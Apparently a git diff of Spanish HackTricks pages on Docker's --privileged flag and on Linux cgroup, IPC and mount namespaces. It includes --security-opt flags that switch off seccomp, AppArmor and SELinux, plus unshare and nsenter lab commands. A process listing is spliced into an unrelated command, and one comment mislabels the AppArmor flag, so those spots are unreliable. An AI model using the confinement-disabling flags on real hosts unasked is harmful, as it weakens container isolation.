Puedes manipular las capacidades disponibles para un contenedor sin ejecutarlo en modo `--privileged` usando las banderas `--cap-add` y `--cap-drop`.
|
||||
|
||||
### Seccomp
|
||||
|
||||
**Seccomp** es útil para **limitar** las **syscalls** que un contenedor puede llamar. Un perfil de seccomp predeterminado está habilitado por defecto al ejecutar contenedores de Docker, pero en modo privilegiado está deshabilitado. Aprende más sobre Seccomp aquí:
|
||||
|
||||
{% content-ref url="seccomp.md" %}
|
||||
[seccomp.md](seccomp.md)
|
||||
{% endcontent-ref %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
grep Seccomp /proc/1/status
|
||||
Seccomp: 2
|
||||
Seccomp_filters: 1
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Dentro del contenedor privilegiado" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
grep Seccomp /proc/1/status
|
||||
Seccomp: 0
|
||||
Seccomp_filters: 0
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
```bash
|
||||
# You can manually disable seccomp in docker with
|
||||
--security-opt seccomp=unconfined
|
||||
```
|
||||
También, tenga en cuenta que cuando Docker (u otros CRIs) se utilizan en un clúster de **Kubernetes**, el filtro **seccomp** está desactivado por defecto.
|
||||
|
||||
### AppArmor
|
||||
|
||||
**AppArmor** es una mejora del kernel para confinar los **contenedores** a un **conjunto limitado de recursos** con **perfiles por programa**. Cuando se ejecuta con la bandera `--privileged`, esta protección se desactiva.
|
||||
|
||||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
{% endcontent-ref %}
|
||||
```bash
|
||||
# You can manually disable seccomp in docker with
|
||||
--security-opt apparmor=unconfined
|
||||
```
|
||||
### SELinux
|
||||
|
||||
Cuando se ejecuta con la bandera `--privileged`, **las etiquetas SELinux se desactivan**, y el contenedor se ejecuta con la **etiqueta con la que se ejecutó el motor del contenedor**. Esta etiqueta suele ser `unconfined` y tiene **acceso completo a las etiquetas que tiene el motor del contenedor**. En el modo sin raíz, el contenedor se ejecuta con `container_runtime_t`. En el modo raíz, se ejecuta con `spc_t`.
|
||||
|
||||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
{% endcontent-ref %}
|
||||
```bash
|
||||
# You can manually disable selinux in docker with
|
||||
--security-opt label:disable
|
||||
```
|
||||
## Lo que no afecta
|
||||
|
||||
### Espacios de nombres
|
||||
|
||||
Los espacios de nombres **NO se ven afectados** por la bandera `--privileged`. Aunque no tienen las restricciones de seguridad habilitadas, **no ven todos los procesos en el sistema o la red del host, por ejemplo**. Los usuarios pueden deshabilitar espacios de nombres individuales usando las banderas del motor de contenedores **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`**.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Dentro del contenedor privilegiado predeterminado" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
ps -ef
|
||||
PID USER TIME COMMAND
|
||||
1 root 0:00 sh
|
||||
18 root 0:00 ps -ef
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Dentro del contenedor --pid=host" %}
|
||||
```bash
|
||||
# docker run --rm --privileged --pid=host -it alpine sh
|
||||
ps -ef
|
||||
PID USER TIME COMMAND
|
||||
1 root 0:03 /sbin/init
|
||||
2 root 0:00 [kthreadd]
|
||||
3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs
|
||||
[...]
|
||||
```
|
||||
### Namespace de usuario
|
||||
|
||||
Los motores de contenedores **NO usan el namespace de usuario por defecto**. Sin embargo, los contenedores sin root siempre lo usan para montar sistemas de archivos y usar más de un UID. En el caso sin root, el namespace de usuario no se puede desactivar; es necesario para ejecutar contenedores sin root. Los namespaces de usuario previenen ciertos privilegios y añaden una considerable seguridad.
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,73 @@
|
|||
# Namespaces
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR a los repositorios** [**hacktricks**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
### **Namespace PID**
|
||||
|
||||
{% content-ref url="pid-namespace.md" %}
|
||||
[pid-namespace.md](pid-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Namespace de montaje**
|
||||
|
||||
{% content-ref url="mount-namespace.md" %}
|
||||
[mount-namespace.md](mount-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Namespace de red**
|
||||
|
||||
{% content-ref url="network-namespace.md" %}
|
||||
[network-namespace.md](network-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Namespace IPC**
|
||||
|
||||
{% content-ref url="ipc-namespace.md" %}
|
||||
[ipc-namespace.md](ipc-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Namespace UTS**
|
||||
|
||||
{% content-ref url="uts-namespace.md" %}
|
||||
[uts-namespace.md](uts-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Namespace de tiempo
|
||||
|
||||
{% content-ref url="time-namespace.md" %}
|
||||
[time-namespace.md](time-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Namespace de usuario
|
||||
|
||||
{% content-ref url="user-namespace.md" %}
|
||||
[user-namespace.md](user-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Namespace CGroup
|
||||
|
||||
{% content-ref url="cgroup-namespace.md" %}
|
||||
[cgroup-namespace.md](cgroup-namespace.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR a los repositorios** [**hacktricks**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,91 @@
|
|||
# Espacio de nombres de CGroup
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
Un espacio de nombres de CGroup es una característica del kernel de Linux que proporciona **aislamiento de jerarquías de cgroup para procesos que se ejecutan dentro de un espacio de nombres**. Los cgroups, abreviatura de **control groups**, son una característica del kernel que permite organizar procesos en grupos jerárquicos para administrar y hacer cumplir **límites en los recursos del sistema** como la CPU, la memoria y la E/S.
|
||||
|
||||
Si bien los espacios de nombres de cgroup no son un tipo de espacio de nombres separado como los que discutimos anteriormente (PID, montaje, red, etc.), están relacionados con el concepto de aislamiento de espacio de nombres. **Los espacios de nombres de cgroup virtualizan la vista de la jerarquía de cgroup**, de modo que los procesos que se ejecutan dentro de un espacio de nombres de cgroup tienen una vista diferente de la jerarquía en comparación con los procesos que se ejecutan en el host o en otros espacios de nombres.
|
||||
|
||||
### Cómo funciona:
|
||||
|
||||
1. Cuando se crea un nuevo espacio de nombres de cgroup, **comienza con una vista de la jerarquía de cgroup basada en el cgroup del proceso que lo crea**. Esto significa que los procesos que se ejecutan en el nuevo espacio de nombres de cgroup solo verán un subconjunto de toda la jerarquía de cgroup, limitado al subárbol de cgroup que tiene como raíz el cgroup del proceso que lo crea.
|
||||
2. Los procesos dentro de un espacio de nombres de cgroup **verán su propio cgroup como la raíz de la jerarquía**. Esto significa que, desde la perspectiva de los procesos dentro del espacio de nombres, su propio cgroup aparece como la raíz, y no pueden ver ni acceder a cgroups fuera de su propio subárbol.
|
||||
3. Los espacios de nombres de cgroup no proporcionan directamente el aislamiento de recursos; **solo proporcionan el aislamiento de la vista de la jerarquía de cgroup**. **El control y el aislamiento de recursos todavía son aplicados por los subsistemas de cgroup** (por ejemplo, cpu, memoria, etc.) en sí mismos.
|
||||
|
||||
Para obtener más información sobre CGroups, consulte:
|
||||
|
||||
{% content-ref url="../cgroups.md" %}
|
||||
[cgroups.md](../cgroups.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Laboratorio:
|
||||
|
||||
### Crear diferentes espacios de nombres
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -C [--mount-proc] /bin/bash
|
||||
```
|
||||
Al montar una nueva instancia del sistema de archivos `/proc` utilizando el parámetro `--mount-proc`, se asegura de que el nuevo espacio de nombres de montaje tenga una **vista precisa y aislada de la información de proceso específica de ese espacio de nombres**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Error: bash: fork: Cannot allocate memory</summary>
|
||||
|
||||
Si ejecutas la línea anterior sin `-f`, obtendrás ese error.\
|
||||
El error es causado por el proceso PID 1 que sale en el nuevo espacio de nombres.
|
||||
|
||||
Después de que bash comience a ejecutarse, bifurcará varios nuevos subprocesos para hacer algunas cosas. Si ejecutas unshare sin -f, bash tendrá el mismo PID que el proceso "unshare" actual. El proceso "unshare" actual llama al sistema de llamadas unshare, crea un nuevo espacio de nombres de PID, pero el proceso "unshare" actual no está en el nuevo espacio de nombres de PID. Es el comportamiento deseado del kernel de Linux: el proceso A crea un nuevo espacio de nombres, el proceso A en sí mismo no se colocará en el nuevo espacio de nombres, solo los subprocesos del proceso A se colocarán en el nuevo espacio de nombres. Por lo tanto, cuando ejecutas:
|
||||
```
|
||||
unshare -p /bin/bash
|
||||
```
|
||||
El proceso unshare ejecutará /bin/bash, y /bin/bash bifurcará varios subprocesos, el primer subproceso de bash se convertirá en PID 1 del nuevo espacio de nombres, y el subproceso saldrá después de completar su trabajo. Por lo tanto, el PID 1 del nuevo espacio de nombres sale.
|
||||
|
||||
El proceso PID 1 tiene una función especial: debe convertirse en el proceso padre de todos los procesos huérfanos. Si el proceso PID 1 en el espacio de nombres raíz sale, el kernel entrará en pánico. Si el proceso PID 1 en un subespacio de nombres sale, el kernel de Linux llamará a la función disable\_pid\_allocation, que limpiará la bandera PIDNS\_HASH\_ADDING en ese espacio de nombres. Cuando el kernel de Linux crea un nuevo proceso, llama a la función alloc\_pid para asignar un PID en un espacio de nombres, y si la bandera PIDNS\_HASH\_ADDING no está establecida, la función alloc\_pid devolverá un error -ENOMEM. Es por eso que aparece el error "Cannot allocate memory".
|
||||
|
||||
Puede resolver este problema utilizando la opción '-f':
|
||||
```
|
||||
unshare -fp /bin/bash
|
||||
```
|
||||
Si ejecutas unshare con la opción '-f', unshare bifurcará un nuevo proceso después de crear el nuevo espacio de nombres pid. Y ejecutará /bin/bash en el nuevo proceso. El nuevo proceso será el pid 1 del nuevo espacio de nombres pid. Luego, bash también bifurcará varios subprocesos para realizar algunas tareas. Como bash en sí mismo es el pid 1 del nuevo espacio de nombres pid, sus subprocesos pueden salir sin ningún problema.
|
||||
|
||||
Copiado de [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
</details>
|
||||
|
||||
#### Docker
|
||||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  Verificar en qué espacio de nombres está su proceso
|
||||
```bash
|
||||
ls -l /proc/self/ns/cgroup
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
|
||||
```
|
||||
### Encontrar todos los espacios de nombres de CGroup
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/null | sort -u
|
||||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Entrar dentro de un namespace CGroup
|
||||
```bash
|
||||
nsenter -C TARGET_PID --pid /bin/bash
|
||||
```
|
||||
También, solo puedes **entrar en otro namespace de proceso si eres root**. Y no puedes **entrar** en otro namespace **sin un descriptor** que apunte a él (como `/proc/self/ns/cgroup`).
|
|
@ -0,0 +1,110 @@
|
|||
## Espacio de nombres IPC
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
Un espacio de nombres IPC (Inter-Process Communication) es una característica del kernel de Linux que proporciona **aislamiento** de objetos IPC de System V, como colas de mensajes, segmentos de memoria compartida y semáforos. Este aislamiento asegura que los procesos en **diferentes espacios de nombres IPC no puedan acceder o modificar directamente los objetos IPC de otros procesos**, proporcionando una capa adicional de seguridad y privacidad entre grupos de procesos.
|
||||
|
||||
### Cómo funciona:
|
||||
|
||||
1. Cuando se crea un nuevo espacio de nombres IPC, comienza con un **conjunto completamente aislado de objetos IPC de System V**. Esto significa que los procesos que se ejecutan en el nuevo espacio de nombres IPC no pueden acceder o interferir con los objetos IPC en otros espacios de nombres o en el sistema host por defecto.
|
||||
2. Los objetos IPC creados dentro de un espacio de nombres son visibles y **accesibles solo para los procesos dentro de ese espacio de nombres**. Cada objeto IPC se identifica por una clave única dentro de su espacio de nombres. Aunque la clave puede ser idéntica en diferentes espacios de nombres, los objetos en sí están aislados y no se pueden acceder a través de espacios de nombres.
|
||||
3. Los procesos pueden moverse entre espacios de nombres utilizando la llamada al sistema `setns()` o crear nuevos espacios de nombres utilizando las llamadas al sistema `unshare()` o `clone()` con la bandera `CLONE_NEWIPC`. Cuando un proceso se mueve a un nuevo espacio de nombres o crea uno, comenzará a utilizar los objetos IPC asociados con ese espacio de nombres.
|
||||
|
||||
## Laboratorio:
|
||||
|
||||
### Crear diferentes espacios de nombres
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -i [--mount-proc] /bin/bash
|
||||
```
|
||||
Al montar una nueva instancia del sistema de archivos `/proc` utilizando el parámetro `--mount-proc`, se asegura de que el nuevo espacio de nombres de montaje tenga una **vista precisa y aislada de la información de proceso específica de ese espacio de nombres**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Error: bash: fork: Cannot allocate memory</summary>
|
||||
|
||||
Si ejecutas la línea anterior sin `-f`, obtendrás ese error.\
|
||||
El error es causado por el proceso PID 1 que sale en el nuevo espacio de nombres.
|
||||
|
||||
Después de que bash comience a ejecutarse, bifurcará varios nuevos subprocesos para hacer algunas cosas. Si ejecutas unshare sin -f, bash tendrá el mismo PID que el proceso "unshare" actual. El proceso "unshare" actual llama al sistema de llamadas unshare, crea un nuevo espacio de nombres de PID, pero el proceso "unshare" actual no está en el nuevo espacio de nombres de PID. Es el comportamiento deseado del kernel de Linux: el proceso A crea un nuevo espacio de nombres, el proceso A en sí mismo no se colocará en el nuevo espacio de nombres, solo los subprocesos del proceso A se colocarán en el nuevo espacio de nombres. Entonces, cuando ejecutas:
|
||||
```
|
||||
unshare -p /bin/bash
|
||||
```
|
||||
El proceso unshare ejecutará /bin/bash, y /bin/bash bifurcará varios subprocesos, el primer subproceso de bash se convertirá en PID 1 del nuevo espacio de nombres, y el subproceso saldrá después de completar su trabajo. Por lo tanto, el PID 1 del nuevo espacio de nombres sale.
|
||||
|
||||
El proceso PID 1 tiene una función especial: debe convertirse en el proceso padre de todos los procesos huérfanos. Si el proceso PID 1 en el espacio de nombres raíz sale, el kernel entrará en pánico. Si el proceso PID 1 en un subespacio de nombres sale, el kernel de Linux llamará a la función disable\_pid\_allocation, que limpiará la bandera PIDNS\_HASH\_ADDING en ese espacio de nombres. Cuando el kernel de Linux crea un nuevo proceso, llama a la función alloc\_pid para asignar un PID en un espacio de nombres, y si la bandera PIDNS\_HASH\_ADDING no está establecida, la función alloc\_pid devolverá un error -ENOMEM. Es por eso que aparece el error "Cannot allocate memory".
|
||||
|
||||
Puede resolver este problema utilizando la opción '-f':
|
||||
```
|
||||
unshare -fp /bin/bash
|
||||
```
|
||||
Si ejecutas unshare con la opción '-f', unshare bifurcará un nuevo proceso después de crear el nuevo espacio de nombres pid. Y ejecutará /bin/bash en el nuevo proceso. El nuevo proceso será el pid 1 del nuevo espacio de nombres pid. Luego, bash también bifurcará varios subprocesos para realizar algunas tareas. Como bash en sí mismo es el pid 1 del nuevo espacio de nombres pid, sus subprocesos pueden salir sin ningún problema.
|
||||
|
||||
Copiado de [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
</details>
|
||||
|
||||
#### Docker
|
||||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  Verificar en qué espacio de nombres está su proceso
|
||||
```bash
|
||||
ls -l /proc/self/ns/ipc
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
|
||||
```
|
||||
### Encontrar todos los espacios de nombres IPC
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u
|
||||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Entrar dentro de un namespace IPC
|
||||
```bash
|
||||
nsenter -i TARGET_PID --pid /bin/bash
|
||||
```
|
||||
También, solo puedes **entrar en el espacio de nombres de otro proceso si eres root**. Y **no puedes** **entrar** en otro espacio de nombres **sin un descriptor** que apunte a él (como `/proc/self/ns/net`).
|
||||
|
||||
### Crear objeto IPC
|
||||
```bash
|
||||
# Container
|
||||
sudo unshare -i /bin/bash
|
||||
ipcmk -M 100
|
||||
Shared memory id: 0
|
||||
ipcs -m
|
||||
|
||||
------ Shared Memory Segments --------
|
||||
key shmid owner perms bytes nattch status
|
||||
0x2fba9021 0 root 644 100 0
|
||||
|
||||
# From the host
|
||||
ipcs -m # Nothing is seen
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,114 @@
|
|||
# Espacio de nombres de montaje
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
Un espacio de nombres de montaje es una característica del kernel de Linux que proporciona el aislamiento de los puntos de montaje del sistema de archivos vistos por un grupo de procesos. Cada espacio de nombres de montaje tiene su propio conjunto de puntos de montaje del sistema de archivos, y **los cambios en los puntos de montaje en un espacio de nombres no afectan a otros espacios de nombres**. Esto significa que los procesos que se ejecutan en diferentes espacios de nombres de montaje pueden tener diferentes vistas de la jerarquía del sistema de archivos.
|
||||
|
||||
Los espacios de nombres de montaje son particularmente útiles en la contenerización, donde cada contenedor debe tener su propio sistema de archivos y configuración, aislado de otros contenedores y del sistema host.
|
||||
|
||||
### Cómo funciona:
|
